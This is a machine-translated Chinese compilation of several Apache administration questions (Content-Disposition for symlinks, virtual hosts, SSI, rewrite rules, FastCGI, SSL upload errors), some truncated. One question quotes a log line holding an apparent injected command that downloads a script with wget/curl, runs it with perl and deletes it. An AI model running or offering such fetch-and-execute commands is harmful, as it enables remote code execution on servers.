我有一个下载目录与不同版本的同一个文件,加上一个“最新”,这是最新版本的符号链接,如下所示: foo-1.0.tar.gz foo-1.1.tar.gz foo-2.0.tar.gz foo-latest.tar.gz -> foo-2.0.tar.gz 我想指出我的用户下载http://example.com/…/foo-latest.tar.gz ,但是当我这样做时,浏览器将文件保存为foo-latest.tar.gz,所以用户实际上并不知道他们下载了哪个版本。 相反,我想浏览器将其保存为foo-2.0.tar.gz。 我知道HTTP Content-Disposition头可以用于这个。 有没有办法configurationApache,所以它发送的头文件的目标符号链接作为文件名,而不必我写一个自定义的下载脚本?
我有一个我非常难以理解的问题。 我在运行Apache的CentOS 7服务器上有一个网页。 这个页面是在一个虚拟主机文件,以便当我浏览到htp://服务器名称或IP我得到我的网站。 我遇到的问题是CSS的一部分没有正确加载。 如果我从虚拟主机文件中删除该网站,并通过htp://server/website/index.html浏览到网站目录,则所有内容都将完美加载。 我以为这可能是一个selinux的问题,但没有,我知道代码没有错,因为它没有虚拟主机文件加载很好。 以下是我的http.conf文件中的vhost文件。 正如你可以看到我现在一直在玩它,所以这个文件是错误的。 页面加载,但顶级的CSS栏根本不加载。 只是一些空白页面链接的样式。 #NameVirtualHost *:80 <VirtualHost *:80> # AllowOverride All DocumentRoot /var/www/html/gemini.com/ <Directory "/var/www/html/gemini.com"> Options Includes FollowSymLinks AllowOverride All Order allow,deny Allow from all </Directory> ServerName 192.168.0.100 ServerName gemini.com # ErrorLog /var/www/html/Landing/error.log # CustomLog /var/www/html/Landing/requests.log </VirtualHost> 检查httpd error_log我看到了很多这个错误。 [Mon Nov 10 09:00:20.828462 2014] [authz_core:debug] [pid 4421] mod_authz_core.c(802): […]
我正在使用pwauth和mod_auth_external在Apache上使用Kerberos身份validation进行基本身份validation。 我想添加多个服务器进行身份validation,但是他们必须指定其他服务器类似于login到一个窗口的计算机。 如果它是默认的服务器,那么他们不必指定一个域名。 我将如何去完成这个? 谢谢! 例: default-server.local有user1。 other-server.local有user2。 user1可以通过简单的绑定user1 / pass来login到apache的Basic Auth。 但是,对于用户2,他们将不得不键入other-server.local \ user2这将允许身份validation。 这对于打入require user .htaccess的require user来说又是如何工作的?
我在Fedora(20)上运行Apache 2.4.10,并试图在服务器上启用SSI(服务器端包含)。 在Apacheconfiguration文件(httpd.conf)中,我有 Options +Includes AddType text/html .htm .html .shtm .shtml .sht AddOutputFilter INCLUDES .shtml 没有什么重写Options指令,以防万一,我有根目录中的.htaccess相同的文本位。 然后我有一个名为test.shtml的文件,其内容是: <!–#echo var="DATE_LOCAL" –> 在根目录下。 但是当我通过服务器在浏览器上加载页面时,什么也没有显示出来。 我猜SSI没有运行? 但是我找不出什么问题。
我正在寻找添加一个别名到“C:/ Apache24 /静态”在Apache中,很简单,对吧? Alias /static "C:/Apache24/static" <Directory "C:/Apache24/static"> Order allow,deny Allow from all </Directory> 我似乎不能看到我做错了什么。 这里是我的configuration的副本 http://pastebin.com/0rJwuPB4
我需要在Unix下创build自己的PHP二进制文件(因为我需要一些SGBD选项,这是另一个问题)。 目前我的Apache服务器通过CGI链接到PHP,但是我读了这不是推荐的方式(性能和安全问题…),所以我想用FastCGI支持构build我的PHP。 PHP文档告诉我–enable-fastcgi选项不再存在,我应该看看–enable-cgi选项,但是这个选项并没有出现在文档中。 这是否意味着FastCgi被自动启用? 如果是这样,我怎么能检查FastCGI安装好? 我尝试了一个php -i | grep cgi php -i | grep cgi但它没有给我什么…我发现没有build立在我的系统上的mod_fastcgi.so文件,据我了解,应该由PHP生成,不应该呢? 编辑 apachectl -M | grep cgi apachectl -M | grep cgi给出: proxy_fcgi_module (shared) proxy_scgi_module (shared) cgi_module (shared)
我们正试图从Apache httpd实现身份validation代理。 这应该保护使用基本身份validation的应用程序,但是用户应该使用httpd的身份validation进行身份validation(在我们的例子中是mod_auth_cas)。 我可以添加具有适当授权值的RequestHeader,它向应用程序发送凭证,但是只有一个用户进行身份validation才是静态的。 有一些方法来设置RequestHeader的值与脚本? 或者其他一些方法来build立这样的authentication代理? 我已经在考虑将处理代理function的CGI脚本。 但在我看来,就像高速公路一样。
我正在尝试托pipe一个自定义页面,将其设置为我的服务器上的主页。 页面的真实path是example.com/start.html 。 但是,我不希望在我的主页中使用这个丑陋的URL,所以我试图让path是example.com/start/ 。 我的.htaccess文件内容是: <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^start\/?$ start.html [NC,L] </IfModule> 这会使example.com/start正确redirect,但是example.com/start/会导致404错误(强调URL最末尾的斜线)。 我得到的错误是: The requested URL /start.html/ was not found on this server. 我相信我在RewriteRule中的正则expression式是正确的(它应该接受“开始”或“开始/”,所以我不确定问题是什么。 我将不胜感激这个问题的任何帮助。
我在我的Web服务器上使用Apache和PHP-FPM。 当用户input一些Apache传递给proxy-fcgi的随机path名,并且找不到文件时,错误日志中将logging一个标准错误: AH01071: Got error 'Primary script unknown\n' 但是,在某些情况下,我从我的网站的一个随机页面中获得一大块HTML,如下所示: AH01071: Got error 'Primary script unknown\n\r\n\r\n<!DOCTYPE html>\n\n<html>\n<head>\n<title>Title of My Webpage</title>\n<meta charset='UTF-8'>\n<meta na….. 所以: AH01071: Got error 'Primary script unknown\nmmary'>\n<colgroup>\n<col/><col/><col/><col/>\n</colgroup>\n<tbody>\n<tr><td…. 我真的很担心,今天看到这样的事情: AH01071: Got error 'Primary script unknown\nmp;wget http://redacted/sacd ; curl -O http://redacted/sacd ; perl sacd ;rm -rf sac*"); charset='UTF-8'>\n<meta name='format-de…. 我认为这是一个cookie值散布在随机的HTML块。 有没有人遇到过这种现象? 可以做些什么来阻止随机的HTML和cookie被附加到错误消息?
使用webDav时也会出现此错误,并且还会在Web浏览器上载程序中生成。 当我启动没有上传限制的同步客户端时,任何超过50兆字节大小的文件都会产生以下错误。 上传在一些计算机上工作,而不是下面列出的opensssl版本。 11-27 19:12:36:292 0xd0c6f0 void Mirall :: AbstractNetworkJob :: slotFinished()99“读取时出错:错误:140943FC:SSL例程:SSL3_READ_BYTES:sslv3警报坏loggingmac” 无论尝试上传多less次,都无法上传。 没有上传速度上限,上传速度约为3MB / s,并且是错误的。 当我把上传速度限制降到1MB / s时,所有的文件都会正常上传。 有些东西,它会发出一个“未知的错误”,但是当它重试时,它就会起作用。 下载工作完美的罚款,只有上传的问题。 可能是有用的,因为错误是ssl相关的: openssl的非工作版本是1.0.1f-ubuntu2.7 openssl的工作版本是1.0.1e-3ubuntu1.6 服务器设置是 操作系统: Ubuntu 14.04.1 LTS 内核:Linux 3.13.0-37-generic#64-Ubuntu SMP Mon Sep 22 21:28:38 UTC 2014 x86_64 x86_64 x86_64 GNU / Linux OpenSSL:OpenSSL 1.0.1f 2014年1月6日 networking服务器: 服务器版本:Apache / 2.4.7(Ubuntu) 服务器内置:Jul 22 2014 14:36:38 […]